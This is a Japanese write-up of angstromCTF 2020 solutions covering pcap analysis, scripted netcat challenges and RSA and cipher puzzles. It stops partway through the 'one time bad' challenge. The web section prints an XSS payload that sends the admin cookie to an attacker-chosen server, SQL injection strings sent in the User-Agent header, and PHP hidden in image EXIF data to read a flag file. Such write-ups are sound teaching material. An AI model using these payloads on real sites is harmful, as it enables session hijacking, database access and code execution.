ångstromCTF 2020 write up
ångstromCTF 2020に参加しました!
(team: score_gazer)
自分は1770点を入れ、順位は204位 / 1596チーム(0点は除く)でした。
write upを書いていきます
MISC
Sanity Check (Misc, 5 pts, 1002 solves)
Join our Discord!
https://discord.gg/Dduuscw
問題文のURLにアクセスするとyoutubeに飛ばされます。
CTFページヘッダーのChat
からDiscord
に行きましょう。
#generalの上部にフラグが書かれています。
actf{never_gonna_let_you_down}
Survey (Misc, 5 pts, 367 solves)
Thanks for playing this CTF! Please fill out our survey so that we can improve ångstromCTF next year. This challenge does not affect time-based tiebreakers.
アンケート問題です。
答えるとフラグがゲットできます。
actf{never_gonna_run_around_and_desert_you}
ws1 (Misc, 30 pts, 1225 solves)
Find my password from this recording (:
問題ファイル: recording.pcapng
wireshark
でパケットを確認していくと、
TCPパケットにフラグが書かれていました。
actf{wireshark_isn't_so_bad_huh-a9d8g99ikdf}
平文で書かれているのでstrings
コマンドでも確認できました。
root@kali:/media/sf_share/CTF/angstrom# strings recording.pcapng | grep actf
flagz,actf{wireshark_isn't_so_bad_huh-a9d8g99ikdf}
clam clam clam (Misc, 70 pts, 495 solves)
clam clam clam clam clam clam clam clam clam nc misc.2020.chall.actf.co 20204 clam clam clam clam clam clam
問題文にncコマンドが書かれているので、アクセスしてみます。
root@kali:/media/sf_share/CTF/angstrom# nc misc.2020.chall.actf.co 20204
clam{clam_clam_clam_clam_clam}
malc{malc_malc_malc_malc_malc}
clam{clam_clam_clam_clam_clam}
malc{malc_malc_malc_malc_malc}
clam{clam_clam_clam_clam_clam}
malc{malc_malc_malc_malc_malc}
clam{clam_clam_clam_clam_clam}
malc{malc_malc_malc_malc_malc}
clam{clam_clam_clam_clam_clam}
:
:
延々と続く
おそらく見えない文字で何かが隠されているのでしょう。
python
でサーバからの通信を受け取ってバイトのまま表示してみます。
from pwn import *
io = remote('misc.2020.chall.actf.co', 20204)
while True:
data = io.recvline()
print(data)
実行結果は以下の通り
:
:
b'clam{clam_clam_clam_clam_clam}\n'
b'type "clamclam" for salvation\rmalc{malc_malc_malc_malc_malc}\n'
b'clam{clam_clam_clam_clam_clam}\n'
:
:
b'type "clamclam" for salvation\r
と書かれていました。
\r
で上書きされており見えなかったのでした。
上記メッセージを受け取ったらclamclam
を返すようにプログラムを改良しましょう
from pwn import *
io = remote('misc.2020.chall.actf.co', 20204)
while True:
data = io.recvline()
if data != b'clam{clam_clam_clam_clam_clam}\n' and data != b'malc{malc_malc_malc_malc_malc}\n':
io.sendline(b'clamclam')
print(data)
フラグが返ってきました!!
root@kali:/media/sf_share/CTF/angstrom# python3 calm.py
[+] Opening connection to misc.2020.chall.actf.co on port 20204: Done
b'type "clamclam" for salvation\rmalc{malc_malc_malc_malc_malc}\n'
b'actf{cl4m_is_my_f4v0rite_ctfer_in_th3_w0rld}\n'
ws2 (Misc, 80 pts, 811 solves)
No ascii, not problem :)
問題ファイル: recording2.pcapng
どうやら今度は平文ではないようです。
こんな時はwireshark
のオブジェクト抽出機能を使ってみます。
File -> Export Objects -> HTTP
と選択すると、いくつかのオブジェクトが検出されました。
全て保存してcat
コマンドで見てみました。
一部を表示します。
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Upload Result Page</title>
<body>
<h2>Upload Result Page</h2>
<hr>
<strong>Success:</strong>File '/Users/toaster/Desktop/personal/projects/angstromctf/2020/misc/ws2/flag.jpg' upload success!<br><a href="http://localhost/">back</a><hr><small>Powerd By: bones7456, check new version at <a href="http://li2z.cn/?s=SimpleHTTPServerWithUpload">here</a>.</small></body>
</html>
どうやらflag.jpg
というファイルがやり取りされているようです。
しかしjpg
ファイルは抽出できていません。
ここでNetworkMiner
という別のツールを使うことにしました。
pcapng
形式に対応していないので、一度wireshark
でpcap
形式にしてから開きます。
画像が確認できました!!
画像左下にフラグが書いてあります。
PSK (Misc, 90 pts, 270 solves)
My friend sent my yet another mysterious recording...
He told me he was inspired by PicoCTF 2019 and made his own transmissions. I've looked at it, and it seems to be really compact and efficient.
Only 31 bps!!
See if you can decode what he sent to me. It's in actf{} format
PicoCTF 2019ではSSTV
という通信方式(音声から映像に変換可能)の問題が出題されました。
今回もその類の問題でしょう。
PSK decode tool
などのワードで検索すると、MultiPSKというツールが見つかりました。
このツール、とても使いづらかったです。
今後のために、音声信号から文字列を得る方法を記載していきます。
まず開くとこの画面が。
左下にあるRX/TX screen
ボタンを押しましょう。
(音声ファイルを選択する箇所がありますが、有料アカウントでないと使えないようです。)
そして問題ファイルの音声を読み込ませると、信号のピークが1500Hz付近に現れます。
(PCの音声入力設定をシステムミキサー
にすることで、PCで再生した音をそのまま読み込ませることが可能です)
そして信号のピーク部分を選択すると、その部分が青くなり、信号を読み込めます。
画面下部にフラグが現れます。
actf{hamhamhamhamham}
Inputter (Misc, 100 pts, 369 solves)
Clam really likes challenging himself. When he learned about all these weird unprintable ASCII characters he just HAD to put it in a challenge. Can you satisfy his knack for strange and hard-to-input characters? Source.
Find it on the shell server at /problems/2020/inputter/.
まず問題のソースを見てみましょう
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#define FLAGSIZE 128
void print_flag() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
FILE *file = fopen("flag.txt", "r");
char flag[FLAGSIZE];
if (file == NULL) {
printf("Cannot read flag file.\n");
exit(1);
}
fgets(flag, FLAGSIZE, file);
printf("%s", flag);
}
int main(int argc, char* argv[]) {
setvbuf(stdout, NULL, _IONBF, 0);
if (argc != 2) {
puts("Your argument count isn't right.");
return 1;
}
if (strcmp(argv[1], " \n'\"\x07")) {
puts("Your argument isn't right.");
return 1;
}
char buf[128];
fgets(buf, 128, stdin);
if (strcmp(buf, "\x00\x01\x02\x03\n")) {
puts("Your input isn't right.");
return 1;
}
puts("You seem to know what you're doing.");
print_flag();
}
値の比較をしている箇所が2つあります。
strcmp(argv[1], " \n'\"\x07")
strcmp(buf, "\x00\x01\x02\x03\n")
これを両方一致させればクリアのようです。
\x07
などの文字をshell
から読み込ませるのは難しいので、今回はpython3
のsubprocess
を使いました。
arg
を引数、input
を入力とすると、
subprocess.run(["./inputter", arg], input=input)
でinputter
に値を渡すことができます。
team5954@actf:/problems/2020/inputter$ python3
Python 3.5.2 (default, Oct 8 2019, 13:06:37)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import subprocess
>>> arg = ' \n\'"\x07'
>>> input = b'\x00\x01\x02\x03\n'
>>> subprocess.run(["./inputter", arg], input=input)
You seem to know what you're doing.
actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}
CompletedProcess(args=['./inputter', ' \n\'"\x07'], returncode=0)
actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}
msd (Misc, 140 pts, 198 solves)
You thought Angstrom would have a stereotypical LSB challenge... You were wrong! To spice it up, we're now using the Most Significant Digit. Can you still power through it?
Here's the encoded image, and here's the original image, for the... well, you'll see.
Important: Redownload the image if you have one from before 11:30 AM 3/14/20. Important: Don't use Python 3.8, use an older version of Python 3!
暗号化した画像、元の画像、プログラムのソースが与えられます。
とりあえずソースを見てみましょう。
from PIL import Image
im = Image.open('breathe.jpg')
im2 = Image.open("breathe.jpg")
width, height = im.size
flag = "REDACT"
flag = ''.join([str(ord(i)) for i in flag])
def encode(i, d):
i = list(str(i))
i[0] = d
return int(''.join(i))
c = 0
for j in range(height):
for i in range(width):
data = []
for a in im.getpixel((i,j)):
data.append(encode(a, flag[c % len(flag)]))
c+=1
im.putpixel((i,j), tuple(data))
im.save("output.png")
pixels = im.load()
フラグの文字コードを文字列として繋げたものを鍵として使っているようです。
こんな感じです。
>>> flag = "REDACT"
>>> ''.join([str(ord(i)) for i in flag])
'826968656784'
鍵は1桁ずつ使っているので必ず0~9の範囲であることが分かります。
よって、元画像を0~9の総当たりで暗号化し、暗号化した画像と比べていけばフラグを復元できそうです。
from PIL import Image
im = Image.open('breathe.jpg')
im2 = Image.open('output.png')
width, height = im.size
def encode(i, d):
i = list(str(i))
i[0] = d
return int(''.join(i))
flag = ''
buf = ''
for j in range(height):
for i in range(width):
for a,b in zip(im.getpixel((i,j)), im2.getpixel((i,j))):
for s in '0123456789':
if encode(a, s) == b:
buf += s
if len(buf) == 4:
buf = buf[1:]
if ord('!') <= int(buf) < ord('}'):
flag += chr(int(buf))
buf = ''
elif int(buf) == ord('}'):
flag += chr(int(buf))
print(flag)
綺麗にフラグが復元されるはずでしたが、関係ない文字列が大量にでてきてしまいました。
フラグフォーマットであるactf
で検索すると、フラグが見つかりました!!
actf{inhale_exhale_ezpz-12309biggyhaby}
Shifter (Misc, 160 pts, 454 solves)
What a strange challenge...
It'll be no problem for you, of course!
nc misc.2020.chall.actf.co 20300
nc
コマンドを使ってみましょう
PS C:\Users\kuzushiki\Desktop> nc misc.2020.chall.actf.co 20300 Solve 50 of these epic problems in a row to prove you are a master crypto man like Aplet123!
You'll be given a number n and also a plaintext p.
Caesar shift `p` with the nth Fibonacci number.
n < 50, p is completely uppercase and alphabetic, len(p) < 50
You have 60 seconds!
--------------------
Shift UUQWIZSFTWAAMYFCB by n=38
与えられた文字列をシフトして返してあげれば良さそうです。
フィボナッチ数列でp番目の値の分だけシフトする必要があります。
from pwn import *
def shift_p(enc, p):
dec = ''
for c in enc:
dec += chr((ord(c) - ord('A') + p) % 26 + ord('A'))
return dec
def fib(n):
a, b = 0, 1
if n == 1:
return a
elif n == 2:
return b
else:
for i in range(n-2):
a, b = b, a + b
return b
io = remote('misc.2020.chall.actf.co', 20300)
io.recvuntil(b'--------------------\n')
for i in range(50):
data = io.recv().decode('utf-8')
enc = data.split()[1]
shift = data.split('=')[-1].split('\n')[0]
print(enc, shift)
dec = shift_p(enc, fib(int(shift, 10)+1))
print(dec)
io.sendline(dec.encode())
print(io.recv())
結果は以下の通り。
OBBQQWTOJD 9
WJJYYEBWRL
:
:
長いので省略
:
:
CQFESMMOXICXCZTYYUYJHFXKCRBJIPGXAHNIXIQRMOGWXGHR 33
UIXWKEEGPAUPURLQQMQBZXPCUJTBAHYPSZFAPAIJEGYOPYZJ
AIRDSGYTAKLPNZBTMEL 23
FNWIXLDYFPQUSEGYRJQ
OPUTOYPULZQQSXXNCXEWZHNEQEXOXOOQYJGBYRY 38
RSXWRBSXOCTTVAAQFAHZCKQHTHARARRTBMJEBUB
GPUUHSOYMPNFXGTGKKWBFAPZJWMYIIDPYAZHBIXIU 33
YHMMZKGQEHFXPYLYCCOTXSHRBOEQAAVHQSRZTAPAM
b'actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}\n'
フラグが得られました!!
actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}
WEB
The Magic Word (Web, 20 pts, 1304 solves)
Ask and you shall receive...that is as long as you use the magic word.
問題ページにアクセスすると、give flag
という文字が。
ソースのscript部分を見てみます。
<script>
var msg = document.getElementById("magic");
setInterval(function() {
if (magic.innerText == "please give flag") {
fetch("/flag?msg=" + encodeURIComponent(msg.innerText))
.then(res => res.text())
.then(txt => magic.innerText = txt.split``.map(v => String.fromCharCode(v.charCodeAt(0) ^ 0xf)).join``);
}
}, 1000);
</script>
どうやらgive flag
をplease give flag
にすれば良さそうです。
フラグがでてきました!!
actf{1nsp3c7_3l3m3nt_is_y0ur_b3st_fri3nd}
Xmas Still Stands (Web, 50 pts, 459 solves)
You remember when I said I dropped clam's tables? Well that was on Xmas day.
And because I ruined his Xmas, he created the Anti Xmas Warriors to try to ruin everybody's Xmas.
Despite his best efforts, Xmas Still Stands. But, he did manage to get a flag and put it on his site. Can you get it?
問題ページでは、記事の投稿と報告ができるようです。
また、管理者ページもありますが、クッキー情報による認証をしており、弾かれてしまします。
管理者のクッキーを手に入れましょう。
問題名からしてXSS
の脆弱性がありそうです。
以下のような記事を投稿しました。
<s>test</s>
記事へのリンクが出てくるので確認してみると、
ちゃんと<s>
タグが認識されていました。
もし<script>
タグが認識されればスクリプトを実行することができます。
しかし、以下のスクリプトは実行されませんでした。
<script>alert(1)</script>
おそらく<script>
タグを弾いているのでしょう。
XSSフィルター回避手法の1つとして、<IMG>
タグを使う方法があります。
<IMG SRC=/ onerror="alert(1)"></img>
試してみると、ちゃんと実行されました!
それではクッキー情報を特定のサーバに送るスクリプトを投稿してみましょう。
<IMG SRC=/ onerror="document.location='[ここは好きなように]?c='+document.cookie"></img>
自分でサーバを立てても良いですが、Requestbinというサイトを使うと簡単にアドレスが得られ、そこに飛んでくるリクエストを記録することができるのでオススメです。
今回欲しいのは管理者のクッキー情報なので、投稿内容をreport
ページで管理者に報告します。
すると以下のようなリクエストが送られてきました。
このクッキー情報をadmin
ページでの認証に使ってみましょう!
root@kali:/media/sf_share/CTF/angstrom/rev# curl -i -b 'super_secret_admin_cookie=hello_yes_i_am_admin; admin_name=Jeff' https://xmas.2020.chall.actf.co/admin
(途中は省略)
<p>Hey admins, you may have noticed that we've changed things up a bit. There's no longer any cumbersome, bruteforceable login system. All you need is the secret cookie verifying that you're an admin and you can get the flag anytime you want. Also, if you're not an admin PLEASE LEAVE THIS PAGE YOU DON'T BELONG HERE AND I WILL HUNT YOU DOWN AND RUIN YOUR DAY IF YOU STAY HERE. Disclaimer: I will not actually hunt you down or physically hurt you in any way, shape, or form, please don't sue me thanks.</p>
<p>Oh hey admin! The flag is actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}.</p>
フラグが得られました!!!
actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}
Git Good (Web, 70 pts, 536 solves)
Did you know that angstrom has a git repo for all the challenges?
I noticed that clam committed a very work in progress challenge so I thought it was worth sharing.
問題ページにアクセスしても特に手掛かりは無さそうです。
問題名からしてgitに関係あるのでしょう
/.gitにアクセスできるか試してみましょう。
root@kali:/media/sf_share/CTF/angstrom# curl https://gitgood.2020.chall.actf.co/.git/logs/HEAD
0000000000000000000000000000000000000000 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5 aplet123 <jasonqan2004@gmail.com> 1583598444 +0000 commit (initial): haha I lied this is the actual initial commit
6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5 e975d678f209da09fff763cd297a6ed8dd77bb35 aplet123 <jasonqan2004@gmail.com> 1583598464 +0000 commit: Initial commit
アクセスできました!!
というわけでgit clone
をしましょう
root@kali:/media/sf_share/CTF/angstrom# git clone https://gitgood.2020.chall.actf.co/.git/
Cloning into 'gitgood.2020.chall.actf.co'...
中を見るとthisistheflag.txt
というファイルがありますが、変更されてしまっています。
root@kali:/media/sf_share/CTF/angstrom/gitgood.2020.chall.actf.co# ls
index.html package.json thisistheflag.txt
index.js package-lock.json
root@kali:/media/sf_share/CTF/angstrom/gitgood.2020.chall.actf.co# cat thisistheflag.txt
There used to be a flag here...
本当のinitial commit
の変更履歴を見てみましょう
root@kali:/media/sf_share/CTF/angstrom/gitgood.2020.chall.actf.co# git diff -p 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5
diff --git a/thisistheflag.txt b/thisistheflag.txt
index 0f52598..247c9d4 100644
--- a/thisistheflag.txt
+++ b/thisistheflag.txt
@@ -1,3 +1 @@
-actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}
-
-btw this isn't the actual git server
+There used to be a flag here...
フラグが出てきました!!
actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}
Secret Agents (Web, 110 pts, 520 solves)
Can you enter the secret agent portal? I've heard someone has a flag :eyes:
Our insider leaked the source, but was "terminated" shortly thereafter...
まず問題ページのソースを見てみましょう
<!DOCTYPE html>
<html>
<head>
<title>Super Secret Agents Portal</title>
</head>
<body style="padding: 50px">
<h1>Welcome to the Super Secret Agents official site!</h1><br /><br />
<p>Only super secret agents will be able to enter... will you?</p><br />
<p>Unfortunately for the not-so-super-secret agents, our advanced AI neural network blockchain big data Python3.5 Docker DigitalOcean military-grade encryption cybersecurity algorithm will keep them out without needing a login system!</p><br />
<p>Here's the secret: actual secret agents have their OWN BROWSERS!!!!! NOT POSERS</p><br />
<p>Will it let you in? Enter!</p><br /><br />
<form method="GET" action="/login">
<input type="submit" value="lemme get in">
</form>
</body>
</html>
どうやら正しいユーザエージェント(以下UA)を設定して/login
にアクセスすれば良さそうです。
サーバサイドのプログラムについてもソースがあるので読んでみましょう。
from flask import Flask, render_template, request
#from flask_limiter import Limiter
#from flask_limiter.util import get_remote_address
from .secret import host, user, passwd, dbname
import mysql.connector
dbconfig = {
"host":host,
"user":user,
"passwd":passwd,
"database":dbname
}
app = Flask(__name__)
"""
limiter = Limiter(
app,
key_func=get_remote_address,
default_limits=["1 per second"],
)"""
#@limiter.exempt
@app.route("/")
def index():
return render_template("index.html")
@app.route("/login")
def login():
u = request.headers.get("User-Agent")
conn = mysql.connector.connect(
**dbconfig
)
cursor = conn.cursor()
#cursor.execute("SET GLOBAL connect_timeout=1")
#cursor.execute("SET GLOVAL wait_timeout=1")
#cursor.execute("SET GLOBAL interactive_timeout=1")
for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
if r.with_rows:
res = r.fetchall()
break
cursor.close()
conn.close()
if len(res) == 0:
return render_template("login.html", msg="stop! you're not allowed in here >:)")
if len(res) > 1:
return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)")
return render_template("login.html", msg="Welcome, %s"%(res[0][0]))
if __name__ == '__main__':
app.run('0.0.0.0')
以下の部分にSQLインジェクションの脆弱性がありそうです
for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
if r.with_rows:
res = r.fetchall()
break
試しに' or 1=1--'
をUAに設定して/login
にアクセスしてみましょう
上手くいけば%s
の部分が置き換わるので、
SELECT * FROM Agents WHERE UA='' or 1=1--''
という命令になるのでDBから全てのUAを抽出できます。
root@kali:/media/sf_share/CTF/angstrom# curl https://agents.2020.chall.actf.co/login? -A "' or 1=1--'"
<!DOCTYPE html>
<html>
<head>
<title>Super Secret Agents Login</title>
</head>
<body style="padding: 50px">
<p>hey! close, but no bananananananananana!!!! (there are many secret agents of course)</p>
</body>
</html>
どうやら上手くいったようです。
が、まだフラグは得られません。
there are many secret agents of course
と書かれているように、複数のUAが設定されてしまうからでしょう。
これを解決するために、limit, offset
句を指定してあげましょう。
例えば以下のような命令にすることで、
' or 'A'='A' limit X offset Y;--'
該当したUAのY番目からX個のものを設定することができます。
色々試した結果、以下のリクエストを送ることでフラグが得られました!!
root@kali:~# curl https://agents.2020.chall.actf.co/login? -A "' or 'A'='A' limit 1 offset 2;--'"
<!DOCTYPE html>
<html>
<head>
<title>Super Secret Agents Login</title>
</head>
<body style="padding: 50px">
<p>Welcome, actf{nyoom_1_4m_sp33d}</p>
</body>
</html>
actf{nyoom_1_4m_sp33d}
Defund’s Crypt (Web, 120 pts, 303 solves)
One year since defund's descent. One crypt. One void to fill. Clam must do it, and so must you.
問題ページのソースを見てみましょう
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<link href="https://fonts.googleapis.com/css?family=Inconsolata|Special+Elite&display=swap" rel="stylesheet">
<link rel="stylesheet" href="/style.css">
<title>Defund's Crypt</title>
</head>
<body>
<!-- Defund was a big fan of open source so head over to /src.php -->
<!-- Also I have a flag in the filesystem at /flag.txt but too bad you can't read it -->
<h1>Defund's Crypt<span class="small">o</span></h1>
<img src="crypt.jpg" height="300"/>
<form method="POST" action="/" autocomplete="off" spellcheck="false" enctype="multipart/form-data">
<p>Leave a memory:</p>
<input type="file" id="imgfile" name="imgfile">
<label for="imgfile" id="imglbl">Choose an image...</label>
<input type="submit" value="Descend">
</form>
<script>
imgfile.oninput = _ => {
imgfile.classList.add("satisfied");
imglbl.innerText = imgfile.files[0].name;
};
</script>
</body>
</html>
/flag.txt
にフラグがあるようです。が、直接アクセスすることはできません。
どうやら/src.php
にアクセスするとphpのソースが確認できるようです。
<?php
if ($_SERVER["REQUEST_METHOD"] === "POST") {
// I just copy pasted this from the PHP site then modified it a bit
// I'm not gonna put myself through the hell of learning PHP to write one lousy angstrom chall
try {
if (
!isset($_FILES['imgfile']['error']) ||
is_array($_FILES['imgfile']['error'])
) {
throw new RuntimeException('The crypt rejects you.');
}
switch ($_FILES['imgfile']['error']) {
case UPLOAD_ERR_OK:
break;
case UPLOAD_ERR_NO_FILE:
throw new RuntimeException('You must leave behind a memory lest you be forgotten forever.');
case UPLOAD_ERR_INI_SIZE:
case UPLOAD_ERR_FORM_SIZE:
throw new RuntimeException('People can only remember so much.');
default:
throw new RuntimeException('The crypt rejects you.');
}
if ($_FILES['imgfile']['size'] > 1000000) {
throw new RuntimeException('People can only remember so much..');
}
$finfo = new finfo(FILEINFO_MIME_TYPE);
if (false === $ext = array_search(
$finfo->file($_FILES['imgfile']['tmp_name']),
array(
'.jpg' => 'image/jpeg',
'.png' => 'image/png',
'.bmp' => 'image/bmp',
),
true
)) {
throw new RuntimeException("Your memory isn't picturesque enough to be remembered.");
}
if (strpos($_FILES["imgfile"]["name"], $ext) === false) {
throw new RuntimeException("The name of your memory doesn't seem to match its content.");
}
$bname = basename($_FILES["imgfile"]["name"]);
$fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]), substr($bname, strpos($bname, ".")));
if (!move_uploaded_file(
$_FILES['imgfile']['tmp_name'],
"./memories/" . $fname
)) {
throw new RuntimeException('Your memory failed to be remembered.');
}
http_response_code(301);
header("Location: /memories/" . $fname);
} catch (RuntimeException $e) {
echo "<p>" . $e->getMessage() . "</p>";
}
}
?>
いくつかのチェックを潜り抜ければファイルをアップロードできるようです。
以下の部分でファイルが画像かどうかをチェックしています。
if (false === $ext = array_search(
$finfo->file($_FILES['imgfile']['tmp_name']),
array(
'.jpg' => 'image/jpeg',
'.png' => 'image/png',
'.bmp' => 'image/bmp',
),
true
)) {
throw new RuntimeException("Your memory isn't picturesque enough to be remembered.");
例えばファイルに.jpg
が含まれていればファイルのMIMEタイプをimage/jpeg
に設定します。
ここを上手くやり過ごして、例えばphp
ファイルなどをアップロードして実行させることはできないでしょうか?
色々調べた結果、このサイトに辿り着きました。
何とjpg
ファイルのExif
に書かれたPHPコードが実行される場合があるようです。
試してみましょう。
以下のようなjpg
ファイルを作成し、拡張子を.jpg.php
のようにしてからアップロードを試みます。
画像は別に何でも構いません。
以下のコードを仕込むことによって、/flag.txt
を読み込んで表示させます。
<?php $flag = file_get_contents('/flag.txt'); echo $flag; ?>
画像に仕込んだコードが実行され、フラグが表示されました。
actf{th3_ch4ll3ng3_h4s_f4ll3n_but_th3_crypt_rem4ins}
CRYPTO
Keysar (Crypto, 40 pts, 867 solves)
Hey! My friend sent me a message... He said encrypted it with the key ANGSTROMCTF.
He mumbled what cipher he used, but I think I have a clue.
Gotta go though, I have history homework!!
agqr{yue_stdcgciup_padas}
暗号化されたフラグからシーザー暗号だと推測できます。
鍵はANGSTROMCTF
ということなので、このサイトで復号しました。
actf{yum_delicious_salad}
Reasonably Strong Algorithm (Crypto, 70 pts, 742 solves)
RSA strikes again!
RSA暗号の問題です。
以下のパラメータが与えられます。
n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931
n
がやけに小さいです。
RSA暗号はn
の素因数分解ができると解けてしまいます。
n
を素因数分解してみましょう。
このサイトにn
を投げるとn = p * q
となるp
, q
を得ることができました。
得られた値を使って復号しましょう!
from Crypto.Util import number
import math
n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931
p = 9336949138571181619
q = 13536574980062068373
def extgcd(a, b):
r = [1, 0, a]
w = [0, 1, b]
while w[2] != 1:
q = r[2] // w[2]
r2 = w
w2 = [ r[0]- q * w[0], r[1] - q * w[1], r[2]- q * w[2] ]
r = r2
w = w2
return [ w[0], w[1] ]
def mod_inv(a, m):
x = extgcd(a, m)[0]
return (m + x % m ) % m
l = (p - 1) * (q - 1) // math.gcd( (p - 1), (q - 1) ) # p-1とq-1の最小公倍数lを求める
d = mod_inv(e, l) # e * d = 1 mod lより,秘密鍵dを求める
m = pow(c, d, n) # c ^ d mod nより,平文mを求める
print(number.long_to_bytes(m))
実行すると、フラグを得られました!!
actf{10minutes}
Wacko Images (Crypto, 90 pts, 494 solves)
How to make hiding stuff a e s t h e t i c? And can you make it normal again? enc.png image-encryption.py
The flag is actf{x#xx#xx_xx#xxx} where x represents any lowercase letter and # represents any one digit number.
暗号化された画像と暗号化プログラムのソースが与えられます。
ソースを見てみましょう。
from numpy import *
from PIL import Image
flag = Image.open(r"flag.png")
img = array(flag)
key = [41, 37, 23]
a, b, c = img.shape
for x in range (0, a):
for y in range (0, b):
pixel = img[x, y]
for i in range(0,3):
pixel[i] = pixel[i] * key[i] % 251
img[x][y] = pixel
enc = Image.fromarray(img)
enc.save('enc.png')
元画像のRGB値に[41, 37, 23]
という値を掛け、251で法を取っています。
RGB値は0~255までなので総当たりしてみましょう。
from numpy import *
from PIL import Image
enc = Image.open(r"enc.png")
img = array(enc)
key = [41, 37, 23]
a, b, c = img.shape
for x in range (0, a):
for y in range (0, b):
pixel = img[x, y]
buf = []
for i in range(0,3):
for pix in range(0, 256):
if pixel[i] == pix * key[i] % 251:
buf.append(pix)
break
buf.append(pixel[-1])
img[x][y] = buf
flag = Image.fromarray(img)
flag.save('flag.png')
少し時間がかかりますが、画像が復元できます。
Confused Streaming (Crypto, 100 pts, 297 solves)
Crypto
I made a stream cipher!
nc crypto.2020.chall.actf.co 20601
nc
コマンドを実行してみましょう。
PS C:\Users\kuzushiki\Desktop> nc crypto.2020.chall.actf.co 20601
a: 1
b: 4
c: 1
01100001011000110111010001100110011110110110010001101111011101110110111001011111011101000110111101011111011101000110100001100101010111110110010001100101011000110110100101101101011000010110110001111101
a,b,c
を送ると、それに対応した暗号文が返ってくるようです。
暗号化プログラムのソースが与えられているので、見てみます。
from __future__ import print_function
import random,os,sys,binascii
from decimal import *
try:
input = raw_input
except:
pass
getcontext().prec = 1000
def keystream(key):
random.seed(int(os.environ["seed"]))
e = random.randint(100,1000)
while 1:
d = random.randint(1,100)
ret = Decimal('0.'+str(key ** e).split('.')[-1])
for i in range(d):
ret*=2
yield int((ret//1)%2)
e+=1
try:
a = int(input("a: "))
b = int(input("b: "))
c = int(input("c: "))
# remove those pesky imaginary numbers, rationals, zeroes, integers, big numbers, etc
if b*b < 4*a*c or a==0 or b==0 or c==0 or Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or abs(a)>1000 or abs(b)>1000 or abs(c)>1000:
raise Exception()
key = (Decimal(b*b-4*a*c).sqrt() - Decimal(b))/Decimal(a*2)
except:
print("bad key")
else:
flag = binascii.hexlify(os.environ["flag"].encode())
flag = bin(int(flag,16))[2:].zfill(len(flag)*4)
ret = ""
k = keystream(key)
for i in flag:
ret += str(next(k)^int(i))
print(ret)
少々複雑だったので、手元に環境を構築し動作を確認したところ、
a=1, b=4, c=1
の時にフラグが暗号化されないことが分かりました。
(flag = bin(int(flag,16))[2:].zfill(len(flag)*4)
とret
が同じ値になる)
なので、鍵などを使わない単純なエンコードを元に戻せば良さそうです。
flag = binascii.hexlify(os.environ["flag"].encode())
flag = bin(int(flag,16))[2:].zfill(len(flag)*4)
元に戻すプログラムは以下の通りです。
import random,os,sys,binascii
from decimal import *
enc_flag = '01100001011000110111010001100110011110110110010001101111011101110110111001011111011101000110111101011111011101000110100001100101010111110110010001100101011000110110100101101101011000010110110001111101'
dec_flag = binascii.unhexlify(hex(int(enc_flag,2))[2:])
print(dec_flag)
実行するとフラグが得られました!!
actf{down_to_the_decimal}
one time bad (Crypto, 100 pts, 248 solves)
My super secure service is available now!
Heck, even with the source, I bet you won't figure it out.
nc misc.2020.chall.actf.co 20301
nc
コマンドが書かれているので、とりあえず実行してみましょう。
PS C:\Users\kuzushiki\Desktop> nc misc.2020.chall.actf.co 20301
Welcome to my one time pad service!
It's so unbreakable that *if* you do manage to decrypt my text, I'll give you a flag!
You will be given the ciphertext and key for samples, and the ciphertext for when you try to decrypt. All will be given in base 64, but when you enter your answer, give it in ASCII.
Enter:
1) Request sample
2) Try your luck at decrypting something!
> 1
HCgkLRIQJR8SFgIDKhI= with key a3JoVGtXa0tQckduR3g=
> 2
BQ==
Your answer: 1
Wrong! The correct answer was w with key r
ワンタイムパッド暗号のようです。
暗号文から平文が求められればフラグを得られますが、ワンタイムパッドで使われる乱数は毎回変わります。
ソースが配られているので見てみましょう。
import random, time
import string
import base64
import os
def otp(a, b):
r = ""
for i, j in zip(a, b):
r += chr(ord(i) ^ ord(j))
return r
def genSample():
p = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(random.randint(1, 30))])
k = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(len(p))])
x = otp(p, k)
return x, p, k
random.seed(int(time.time()))
print("Welcome to my one time pad service!\nIt's so unbreakable that *if* you do manage to decrypt my text, I'll give you a flag!")
print("You will be given the ciphertext and key for samples, and the ciphertext for when you try to decrypt. All will be given in base 64, but when you enter your answer, give it in ASCII.")
print("Enter:")
print("\t1) Request sample")
print("\t2) Try your luck at decrypting something!")
while True:
choice = int(input("> "))
if choice == 1:
x, p, k = genSample()
print(base64.b64encode(x.encode()).decode(), "with key", base64.b64encode(k.encode()).decode())
elif choice == 2:
x, p, k = genSample()
print(base64.b64encode(x.encode()).decode())
a = input("Your answer: ").strip()
if a == p:
print(os.environ.get("FLAG"))
break
else:
print("Wrong! The correct answer was", p, "with key", k)
以下の部分より、乱数シードは時間によって決まることが分かります。
random.seed(int(time.time()))
